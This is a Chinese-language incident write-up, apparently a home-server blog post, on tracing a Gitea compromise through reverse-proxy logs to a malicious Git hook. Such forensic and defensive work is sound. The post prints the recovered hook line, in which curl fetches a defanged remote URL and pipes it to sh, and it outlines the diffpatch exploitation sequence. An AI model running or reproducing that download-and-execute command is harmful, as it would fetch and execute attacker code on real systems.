我的 Gitea 被攻击实录:从 CPU 异常到确认服务器端 RCE 的完整排查过程
一次真实的家庭服务器安全事故复盘。
从最开始怀疑“是不是 CPU 被打高了”,到最终在 Git 仓库中找到攻击者留下的
post-index-changeHook,我花了不少时间才把整个攻击链拼起来。这次事件也让我意识到:看到异常访问并不可怕,可怕的是只看到了访问日志,却没有继续追踪服务器上的文件和 Git 数据。

一、事情是怎么开始的?
我的 Gitea 部署在内网环境,通过 Nginx Proxy Manager 对外提供访问。
整体拓扑大致是:
Internet
│
▼
公网 VPS / Nginx Proxy Manager
│
│ WireGuard
▼
10.10.10.102
│
▼
10.10.10.103
│
└── Gitea
这里有一个非常容易误判的地方:
Gitea 日志里看到的 10.10.10.102 并不是攻击者 IP。
它只是内部的反向代理/转发节点。
真正的公网客户端 IP,需要去看 Nginx Proxy Manager 的访问日志。
这也是整个排查过程中非常关键的一步。
二、第一阶段:先从 Nginx Proxy Manager 日志查
我的 Gitea 对应 Nginx Proxy Manager 日志文件是:
proxy-host-30_access.log
先进入 Nginx 容器:
docker exec -it nginx sh
然后查看 Gitea 的访问记录。
例如:
grep "14/Aug/2026:08:0" /data/logs/proxy-host-30_access.log
为了快速筛选攻击者明显针对 API 的请求,我使用了:
grep "14/Aug/2026:08:0" /data/logs/proxy-host-30_access.log \
| grep -Ei "api/v1|diffpatch"
进一步统计公网 IP:
grep "14/Aug/2026:08:0" /data/logs/proxy-host-30_access.log \
| grep -Ei "api/v1|diffpatch" \
| sed -n "s/.*\[Client \([^]]*\)\].*/\1/p" \
| sort | uniq -c | sort -nr
结果非常明显:
10 172.234.102.123
2 114.10.45.95
这时候基本可以确定:
有人正在集中访问 Gitea API,而且不是正常用户的普通 Git 操作。
三、真正可疑的是 /diffpatch
继续搜索:
grep -nEi "gitea1337|giteaa1337|diffpatch" \
/data/logs/proxy-host-30_access.log
很快就出现了大量类似这样的请求:
POST /api/v1/repos/gitea1337/gitea-1337/diffpatch
而且 HTTP 状态码是:
201
例如:
[14/Aug/2026:08:03:00 +0800]
201 201
POST
/api/v1/repos/gitea1337/gitea-1337/diffpatch
[Client 172.234.102.123]
[Sent-to 10.10.10.103]
随后又有:
[14/Aug/2026:08:03:05 +0800]
201 201
POST
/api/v1/repos/gitea1337/gitea-1337/diffpatch
[Client 172.234.102.123]
更关键的是,攻击者紧接着读取:
GET /api/v1/repos/gitea1337/gitea-1337/raw/proof?ref=rce-proof
并返回:
200
这时候事情已经非常不正常了。
因为攻击者不是简单地扫描一个 API。
他的行为已经形成了一个完整流程:
创建用户/访问注册页面
↓
创建 Git Repository
↓
查询 Repository
↓
调用 diffpatch
↓
再次修改 Repository
↓
读取 rce-proof
四、攻击者甚至在批量创建测试仓库
继续观察日志,可以看到大量随机命名的 Repository。
例如:
testpoc93555/poc-88040
testpoc46919/poc-45327
testpoc80024/poc-53051
testpoc37242/poc-12840
攻击者显然不是在操作我的正常代码仓库。
这些 Repository 的名字本身就非常具有特征:
test
poc
1337
rce
proof
其中:
poc= Proof of Conceptrce= Remote Code Executionproof= 用于证明执行成功
这已经很接近典型的漏洞利用自动化测试流程。
五、最关键的证据:攻击者留下了 rce-proof
到了这里,我原本还在考虑:
会不会只是漏洞扫描器在测试,并没有真正执行代码?
于是继续检查 Repository 的内容。
日志里出现了:
GET /api/v1/repos/gitea1337/gitea-1337/raw/proof?ref=rce-proof
而且返回:
200
攻击者明显在读取一个叫:
rce-proof
的分支中的:
proof
文件。
这已经不是普通的扫描请求了。
于是继续检查 Git Repository。
最终找到了真正关键的东西。
六、服务器上的 Git Hook 才是决定性证据
在被攻击的 Repository 中,我恢复出了一个 Git Hook:
hooks/post-index-change
它的核心内容是:
curl -s -k hxxps://repositoryubuntu[.]publicvm[.]com/cronsys | sh
这里我在博客中对恶意地址进行了脱敏。
这个 Hook 的含义非常直接:
Git 操作触发
↓
执行 post-index-change
↓
curl 下载远程内容
↓
通过 sh 执行
换句话说:
这已经不是“有人在访问我的 Gitea”。
而是:
攻击者成功让 Gitea 服务器上的 Git Repository 出现了恶意 Hook,并尝试通过 Hook 执行远程 Shell 脚本。
这也是整个事件中最重要的证据。
七、Git 历史也留下了攻击痕迹
进一步查看 Git 历史,可以看到类似:
Initial commit
apply-1
apply-2
rce proof
这和前面的 HTTP 日志能够完整对应起来。
攻击流程大致可以还原成:
攻击者
│
├── 创建测试 Repository
│
├── 调用 diffpatch
│
├── 修改 Git 数据
│
├── 写入 Hook
│
├── 触发 Git 操作
│
├── Hook 下载远程 Shell
│
└── 创建 rce-proof
这时候已经有充分证据证明:
攻击者不是停留在漏洞扫描阶段,而是已经完成了服务器端代码执行链条中的关键步骤。
八、为什么最开始我会误以为只是“CPU 被打高”?
因为最初看到的是系统层面的异常。
CPU 异常很容易让人产生几个猜测:
CPU 高
↓
是不是 Docker 某个容器有问题?
↓
是不是有人疯狂请求?
↓
是不是挖矿?
↓
是不是服务器被入侵?
但 CPU 高本身并不能证明服务器被入侵。
真正可靠的判断必须建立在证据链上:
网络访问
↓
反向代理日志
↓
真实公网 IP
↓
异常 API
↓
成功 HTTP 状态码
↓
Repository 创建/修改
↓
Git 历史
↓
Git Hook
↓
服务器端执行
这条链完整以后,结论才真正成立。
九、为什么 Gitea 日志里的 IP 会误导排查?
这是这次事故中我认为非常值得记录的一点。
Gitea 实际上看到的请求来源是:
10.10.10.102
但 Nginx Proxy Manager 的日志会同时记录:
[Client 172.234.102.123]
[Sent-to 10.10.10.103]
因此:
172.234.102.123
↓
公网攻击者
10.10.10.102
↓
反向代理 / WireGuard 转发节点
10.10.10.103
↓
真正的 Gitea
如果只看 Gitea 自己的日志,很容易把:
10.10.10.102
误认为攻击源。
所以:
部署在反向代理后面的 Web 服务,调查攻击来源时一定要优先确认真实客户端 IP 是在哪里记录的。
十、攻击者使用了大量伪装 User-Agent
日志中还能看到非常奇怪的 User-Agent。
例如同一个攻击 IP 在很短时间内不断切换:
Firefox
Chrome
Safari
Macintosh
Ubuntu
Linux
Windows
甚至版本号也非常混乱。
例如:
Firefox/3.6.12
Firefox/68.0
Firefox/101.0
Chrome/91
Chrome/131
Safari/604.1
这明显不像正常浏览器用户。
更合理的解释是:
攻击工具在随机伪造 User-Agent,以降低简单规则检测的效果。
所以安全分析时:
User-Agent 可以作为辅助 IOC,但绝对不能把它当成真实客户端身份。
真正值得关注的是:
IP
时间
URL
HTTP 方法
状态码
请求序列
Repository 名称
Git 操作
十一、从日志来看,攻击并不是一次性的
我继续往前搜索历史日志,发现这种行为并不是只发生在 8 月 14 日。
例如 8 月 13 日就已经出现:
POST /api/v1/repos/testpoc93555/poc-88040/diffpatch
来源:
172.235.229.243
以及:
POST /api/v1/repos/testpoc46919/poc-45327/diffpatch
同样返回:
201
之后又出现:
POST /api/v1/repos/testpoc80024/poc-53051/diffpatch
来源:
103.13.206.65
同样出现:
201
这说明:
攻击者并不是某一个 IP 偶然打过来一次,而是已经存在自动化利用行为。
而且从不同 IP、随机 Repository 名称、随机 User-Agent 的组合来看,更像是批量化的漏洞利用/验证活动。
十二、一个非常有意思的细节:攻击者自己也在验证漏洞是否成功
最典型的就是:
POST .../diffpatch
然后:
GET .../raw/proof?ref=rce-proof
这相当于:
攻击
↓
写入
↓
触发
↓
读取结果
↓
确认 RCE
因此:
201
本身并不是最关键的证据。
真正重要的是:
攻击者写入了特定内容,并随后主动读取
rce-proof来验证结果。
这是一种非常典型的 PoC 验证模式。
十三、这次事件到底意味着什么?
这里需要把几个概念分清楚。
1. “有人扫描我”
只能证明:
攻击者访问了服务
不代表入侵成功。
2. “有人调用漏洞接口”
说明:
攻击者正在尝试利用漏洞
仍然不能单独证明 RCE 成功。
3. “服务器出现攻击者创建的 Repository”
说明攻击者已经拥有了一定的应用层操作能力。
4. “服务器出现攻击者控制的 Git Hook”
事情性质已经完全不同。
因为 Git Hook 是服务器端执行机制。
5. “Hook 中存在远程 Shell 下载并执行”
这就是非常强的服务器端代码执行证据。
所以最终结论应该是:
本次事件不是单纯的恶意扫描,而是一次针对 Gitea 的实际漏洞利用,并且攻击者已经成功将恶意 Git Hook 写入服务器侧 Repository,形成了服务器端命令执行链。
十四、这次排查过程中最重要的几个命令
以后如果再遇到类似问题,我认为最有价值的是先保存现场,然后从反向代理日志入手。
1. 查看 Gitea 对应日志
docker exec nginx sh -c '
grep -Ei "gitea|api/v1|diffpatch" \
/data/logs/proxy-host-30_access.log
'
2. 统计攻击 IP
docker exec nginx sh -c '
grep -Ei "api/v1|diffpatch" \
/data/logs/proxy-host-30_access.log |
sed -n "s/.*\[Client \([^]]*\)\].*/\1/p" |
sort | uniq -c | sort -nr
'
3. 搜索攻击者 Repository
docker exec nginx sh -c '
grep -nEi "gitea1337|giteaa1337|diffpatch" \
/data/logs/proxy-host-30_access.log
'
4. 搜索所有 Nginx 日志
docker exec nginx sh -c '
grep -RniE "gitea1337|giteaa1337|diffpatch" \
/data/logs 2>/dev/null
'
十五、真正让我警醒的是:日志只是第一层
如果这次排查停在:
Nginx 日志
↓
发现几个奇怪 IP
↓
封 IP
↓
结束
那么我实际上并没有完成安全调查。
因为:
封 IP 解决不了已经发生的入侵。
正确的顺序应该是:
第一层:网络
↓
谁访问了我?
第二层:应用
↓
访问了什么 API?
第三层:数据
↓
修改了什么 Repository?
第四层:文件系统
↓
留下了什么文件?
第五层:执行链
↓
有没有 Hook / Cron / systemd / Shell?
第六层:持久化
↓
攻击者有没有留下后门?
第七层:凭证
↓
Token / SSH Key / 密钥有没有泄露?
这次事件正是因为继续往下查,最终才找到了 Git Hook。
十六、最终应该如何理解这次攻击?
把整个事件压缩成一句话:
一个暴露在公网的 Gitea 实例,被自动化攻击者发现后,通过异常的 Repository API /
diffpatch操作进行漏洞利用,创建 PoC Repository,并最终在服务器侧 Git Repository 中留下post-index-changeHook,通过远程 Shell 下载执行来验证 RCE。
完整攻击链可以画成:
Internet
│
▼
攻击者 / 自动化工具
│
▼
外网域名
│
▼
Nginx Proxy Manager
│
▼
10.10.10.102
│
WireGuard
│
▼
10.10.10.103
│
▼
Gitea
│
┌────────┴────────┐
▼ ▼
创建测试仓库 调用 diffpatch
│ │
└────────┬────────┘
▼
修改 Git 数据
│
▼
写入 post-index-change
│
▼
Git Hook 被触发
│
▼
下载远程 Shell
│
▼
执行命令
│
▼
rce-proof
│
▼
攻击者读取验证结果
十七、这次事故最大的教训
教训一:公网暴露的服务迟早会被扫描
只要:
域名
+
公网 IP
+
公开服务
存在,就不要认为:
“我的服务没人知道。”
自动化扫描器根本不在乎你是谁。
教训二:HTTP 200 / 201 不是普通日志
如果攻击请求出现:
POST
201
不要只看成“接口调用成功”。
要继续问:
成功做了什么?
尤其是:
POST /api/...
201
紧接着:
GET /raw/...
200
这种连续行为,非常值得调查。
教训三:反向代理日志比后端日志更重要
部署结构:
Internet
↓
Nginx
↓
Gitea
那么攻击者真实 IP 通常应该从 Nginx 的:
[Client ...]
字段获取。
而不是直接相信后端:
192.168.x.x
教训四:发现攻击后不要急着重启
如果确认存在入侵迹象,第一反应不应该是:
docker restart gitea
然后:
“好了,没事了。”
因为重启可能破坏现场。
更合理的是:
保存日志
↓
记录时间
↓
记录攻击 IP
↓
记录容器状态
↓
检查文件
↓
检查 Git Repository
↓
检查 Hook
↓
检查 Cron
↓
检查 systemd
↓
检查 SSH
↓
最后再处理
十八、最后总结
这次事件让我最大的感受不是:
“Gitea 有漏洞。”
而是:
安全事件真正难的,从来不是发现有人攻击,而是证明攻击到底走到了哪一步。
最开始:
CPU 异常
只能说明:
有异常
然后:
Nginx 日志
证明:
确实有公网攻击流量
继续:
/api/v1/repos
/diffpatch
证明:
攻击者正在主动利用 Gitea
再继续:
创建 poc Repository
证明:
攻击已经影响到应用层数据
最后找到:
hooks/post-index-change
里面出现远程 Shell:
hxxps://repositoryubuntu[.]publicvm[.]com/cronsys
这才真正把整条攻击链闭环。
所以以后再遇到类似情况,我不会再简单地问:
“我的服务器是不是被攻击了?”
而会直接问:
“攻击者进入了哪一层?修改了什么?执行了什么?留下了什么?有没有持久化?”
这才是一次完整的服务器安全事故排查。
附:本次事件的关键 IOC
| 类型 | 内容 |
|---|---|
| 目标 | 外网域名 |
| Nginx 日志 | proxy-host-30_access.log |
| 后端 Gitea | 10.10.10.103 |
| 内部转发节点 | 10.10.10.102 |
| 主要攻击 IP | 172.234.102.123 |
| 其他攻击 IP | 172.235.229.243、103.13.206.65、114.10.45.95 |
| 主要攻击接口 | /api/v1/repos/*/diffpatch |
| Repository 特征 | testpoc*、gitea1337、giteaa1337 |
| 验证分支 | rce-proof |
| 验证文件 | proof |
| 恶意 Hook | hooks/post-index-change |
| 恶意行为 | 远程下载并执行 Shell |
| 事件性质 | Gitea 应用层漏洞利用 / 服务器端 RCE 链条 |
注:以上时间均为日志中的 +0800 时间;攻击 IP、Repository 名称和恶意地址来自实际排查记录。